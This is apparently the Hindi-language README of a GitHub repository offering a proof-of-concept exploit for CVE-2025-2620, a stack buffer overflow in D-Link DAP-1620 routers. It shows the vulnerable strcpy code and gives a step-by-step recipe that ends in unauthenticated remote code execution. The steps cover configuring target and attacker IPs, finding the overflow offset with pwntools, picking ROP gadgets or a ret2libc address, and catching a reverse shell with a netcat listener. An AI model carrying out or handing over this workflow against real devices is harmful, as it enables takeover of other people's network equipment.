
इस रिपॉजिटरी में CVE-2025-2620 के लिए एक उन्नत प्रूफ-ऑफ-कॉन्सेप्ट (PoC) एक्सप्लॉइट शामिल है, जो D-Link DAP-1620 राउटर में फर्मवेयर संस्करण 1.03 पर चलने वाले एक गंभीर स्टैक-आधारित बफर ओवरफ्लो भेद्यता है। यह भेद्यता बिना प्रमाणीकरण वाले दूरस्थ हमलावरों को राउटर के वेब सर्वर को क्रैश करने (Denial-of-Service, DoS) और संभावित रूप से मनमाना कोड निष्पादित करने (Remote Code Execution, RCE) की अनुमति देती है।
इस परियोजना का उद्देश्य एक्सप्लॉइट विकास कौशल को प्रदर्शित करना है।
CVE-2025-2620 D-Link DAP-1620 राउटर के mod_graph_auth_uri_handler फ़ंक्शन को प्रभावित करता है, विशेष रूप से /storage एंडपॉइंट के भीतर। यह भेद्यता अनुचित बाउंड्स जाँच के कारण होती है, जो हमलावर को आवंटित बफर आकार से अधिक बड़ा इनपुट भेजने की अनुमति देती है, जिससे स्टैक-आधारित बफर ओवरफ्लो होता है।
भेद्य फ़ंक्शन HTTP अनुरोधों से एक प्रमाणीकरण पैरामीटर (auth) को संसाधित करता है:
void mod_graph_auth_uri_handler(char *input) {
char buffer[512]; // Fixed-size stack buffer
strcpy(buffer, input); // No length check, causes overflow
// Process authentication...
}
एक हमलावर द्वारा भेजा गया अत्यधिक बड़ा पेलोड (जैसे, 1024+ बाइट्स) आसन्न मेमोरी को ओवरराइट करता है, जिसमें फ़ंक्शन का रिटर्न एड्रेस भी शामिल है, जो संभावित रूप से कोड निष्पादन की ओर ले जाता है।
D-Link DAP-1620 एक Wi-Fi रेंज एक्सटेंडर है जिसमें निम्नलिखित विशिष्टताएँ हैं:
समान फर्मवेयर वाले अन्य D-Link राउटर/एक्सटेंडर भी प्रभावित हो सकते हैं।
संयुक्त PoC – इसमें बफर ओवरफ्लो परीक्षण और RCE एक्सप्लॉइट दोनों शामिल हैं।
स्टैक-आधारित बफर ओवरफ्लो परीक्षण – भेद्य राउटर की पहचान करता है।
पूर्ण रिमोट कोड निष्पादन (RCE) एक्सप्लॉइट – एक रिवर्स शेल उत्पन्न करता है।
कॉन्फ़िगर करने योग्य पेलोड आकार और रिटर्न एड्रेस – विभिन्न राउटर मॉडलों के लिए अनुकूलनीय।
उन्नत डिबगिंग – एक्सप्लॉइट पैरामीटर परिष्कृत करने के लिए क्रैश ऑफ़सेट लॉग करता है।
git clone https://github.com/Otsmane-Ahmed/CVE-2025-2620-poc.git
cd CVE-2025-2620-poc
सुनिश्चित करें कि आपके पास Python3 और pwntools स्थापित हैं:
pip install pwntools
CVE-2025-2620_poc.py स्क्रिप्ट को संशोधित करें:
TARGET_IP = "192.168.0.1" # change to match your router
ATTACKER_IP = "192.168.0.100" # change to your local IP
ATTACKER_PORT = 4444 # change if needed
BUFFER_SIZE = 8000 # Increase if the router does not crash
एक अद्वितीय पैटर्न उत्पन्न करने और भेजने के लिए PoC को संशोधित करें:
MODE = "overflow" # Set to "overflow" to find the offset
स्क्रिप्ट चलाएँ:
python3 CVE-2025-2620_poc.py
राउटर को क्रैश करने के बाद, निम्न से segfault एड्रेस (EIP x86 पर या RA MIPS पर) जाँचें:
gdb)dmesg | grep 'segfault'0x61616161 जैसे एड्रेस की तलाश करें (जिसका मतलब है कि साइक्लिक पैटर्न का हिस्सा रिटर्न पॉइंटर को ओवरराइट कर चुका है)।
सटीक ऑफ़सेट खोजने के लिए cyclic_find का उपयोग करें:
from pwn import cyclic_find
print(cyclic_find(0x61616161)) # Replace with the crash address
यह सटीक OFFSET मान देता है। अपना PoC अपडेट करें:
OFFSET = <FOUND OFFSET> # Replace with the actual number
RET_ADDR) खोजेंविकल्प 1: एक JMP या CALL गैजेट खोजें
ROPgadget --binary vulnerable_binary | grep "jmp"
एक ऐसा एड्रेस चुनें जो रजिस्टर पर कूदता है (जैसे, jmp $sp या jmp $ra)।
विकल्प 2: ret2libc एड्रेस का उपयोग करें
libc में system() का एड्रेस खोजें:
objdump -D /lib/libc.so.6 | grep "system"
फिर, इसे RET_ADDR के रूप में उपयोग करें:
RET_ADDR = struct.pack("<I", 0xdeadbeef) # Replace with actual address
nc -lvnp 4444
python3 CVE-2025-2620_poc.py --mode rce
Otsmane Ahmed द्वारा ❤️ के साथ विकसित
| मेट्रिक | मान |
|---|
| हमला वेक्टर | नेटवर्क |
| हमले की जटिलता | निम्न |
| आवश्यक विशेषाधिकार | कोई नहीं |
| उपयोगकर्ता सहभागिता | कोई नहीं |
| गोपनीयता प्रभाव | उच्च |
| अखंडता प्रभाव | उच्च |
| उपलब्धता प्रभाव | उच्च |